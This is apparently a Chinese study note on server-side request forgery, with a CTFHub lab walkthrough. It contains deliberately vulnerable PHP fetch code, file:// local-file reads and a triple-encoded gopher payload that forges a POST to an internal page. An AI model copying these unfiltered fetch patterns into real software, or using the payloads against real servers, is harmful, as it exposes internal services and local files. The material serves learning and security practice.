ssrf

ssrf简介

ssrf即服务器端请求伪造,利用服务器可以请求本地和内网中其他ip的权限,攻击者通过构造服务器请求,实现本地文件、信息获取和对内网中的ip进行端口扫描等。
漏洞成因:服务端提供了从其他服务器和本地获取数据的功能且没有对目标地址做过滤与限制,如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载

ssrf中常用伪协议

1
2
3
4
file://:访问本地文件系统
http/s:探测内网主机存活
dict:泄露安装软件版本信息,查看端口,操作内网redis服务
Gopher:利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求

涉及函数

curl_exec()

curl_exec函数用于执行指定的cURL会话

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0); //设置为0表示禁用所有错误报告
highlight_file(__FILE__); //在浏览器中高亮显示当前脚本文件的源代码,__FILE__是一个魔术常量,表示当前脚本的文件名
$url=$_POST['url']; //初始化了一个CURL会话并将指定的URL作为参数传递给它
$ch=curl_init($url);
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0); //设置CURL会话的选项,将HEADER选项设置为0,表示不包括HTTP响应头部信息
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置CURL会话的选项,将RETURNTRANSFER选项设置为1,表示将抓取的内容作为字符串返回,而不是直接输出到浏览器。
$result=curl_exec($ch); //执行CURL会话,抓取指定URL的内容,并将结果存储在"$result"变量中
curl_close($ch); //关闭CURL会话,释放与之相关的资源
echo ($result); //显示在用户的浏览器中
?>

实现从指定的URL地址抓取内容并将其显示在浏览器中,相当于一个ssrf漏洞代码
利用:post传参url=127.0.0.1/flag.php

fsockopen()

打开一个网络连接或者一个Unix套接字连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>

函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据

CTFHub-ssrf-POST请求

hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
curl:强大的开源库,支持多种协议,用来发送请求
御剑扫描php 200、3xx,探测到flag.php、index.php //扫不到
?url=127.0.0.1/flag.php请求本地文件,右键源码

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=f27ff60682bab433bdd6eaf0d129d94f-->
</form>

发现key
?url=file:///var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向)
curl_exec($ch);
curl_close($ch);

?url=file:///var/www/html/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag; #当post传值为key时使出flag
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

思路:往flag.php传key值就可以得到flag,而index.php可以利用curl传url,那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值,以此获取flag
POST包必须包含的四个参数:Content-Type,Content-Length,host,post
POST包如下:

1
2
3
4
5
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 //长度为key的长度
key=ed200db79375f224af615ef4be4a006f

gopher的数据需要用url编码三次之后再发送

第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?回车换行,编码的时候忽略了LF(换行)
url在线:http://www.jsons.cn/urlencode/
payload:

1
/?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253Ded200db79375f224af615ef4be4a006f

//前面的http可加可不加
为什么不同的在线解码url结果不同
redis是什么
参考:从一文中了解SSRF的各种绕过姿势及攻击思路